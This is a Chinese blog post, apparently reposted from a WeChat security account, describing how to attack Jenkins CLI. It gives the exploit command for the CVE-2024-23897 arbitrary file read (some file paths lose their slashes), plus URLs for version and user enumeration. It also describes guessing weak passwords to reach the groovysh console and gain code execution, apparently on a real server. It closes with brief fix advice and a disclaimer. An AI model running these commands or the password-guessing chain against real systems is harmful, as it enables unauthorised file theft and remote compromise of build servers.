目录
0x00 什么是Jenkins CLI
0x01 CLI工具下载
0x02 Jenkins 版本查询
0x03 CVE-2024-23897 任意文件读取
0x04 CLI获取交互命令行
0x05 获取用户列表
0x06 弱口令与交互式命令行
0x07 修复建议
0x08 参考
什么是Jenkins CLI
CLI即Command Line Interface,在windows上的cmd也是一个CLI。为什么要用CLI呢,CLI和图形界面对比,主要有这些优点:简单,容易,节省内存,支持持续集成。官网的介绍是:Jenkins有一个内置的命令行界面,允许用户和管理员从脚本或shell环境中访问Jenkins。这可以方便的编写日常任务, 批量更新, 故障排除等等。
看到命令行这三个字,总感觉大有可为。先下载CLI工具去年的任意文件读取的漏洞。
CLI工具下载
下载jenkins CLI工具的方式,访问/jnlpJars/jenkins-cli.jar目录可直接下载:
http://ip:port/jnlpJars/jenkins-cli.jar
Jenkins 版本查询
访问 http://ip:port/oops 目录可在右下角获取jenkins版本
CVE-2024-23897 任意文件读取
Jenkins 版本<= 2.441
Jenkins 版本<= LTS 2.426.2
java -jar jenkins-cli.jar -s http://ip:port/ connect-node "@etcpasswd"
没有对应文件,读取失败。又换了很多其他文件名,都读取失败。
后来意识到可能是windows服务器,尝试读取C:Windowswin.ini,读取成功。
java -jar jenkins-cli.jar -s http://ip:port/ connect-node "@C:Windowswin.ini"
CLI获取交互命令行
访问http://ip:port/cli/command/groovysh,可以看到获取交互命令行的方式:
可以通过who-am-i指令看到当前是匿名用户,匿名用户没有获取命令行的权限
问deepseek非匿名用户的登录方式如下:
可以用密码或者token登录,弱口令仍有一线生机
获取用户列表
用户命列表容易获取,访问http://ip:port/asynchPeople/,
弱口令与交互式命令行
通过上面的账号,尝试常见的弱口令。
结果弱口令一发就中,要是谈恋爱像打红队一样简单就好了。每次RCE了都会暗爽半天,可惜不能像以前打红队时候可以分享喜悦。
修复建议
禁用 CLI 或限制访问
禁用 groovysh
强制密码复杂度
参考
https://www.freebuf.com/articles/neopoints/391038.html
https://mp.weixin.qq.com/s/WVWCuGgVnmH6sBtA4q1dNQ
写在最后
本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
原文始发于微信公众号(sec0nd安全):Jenkins CLI风险与利用姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论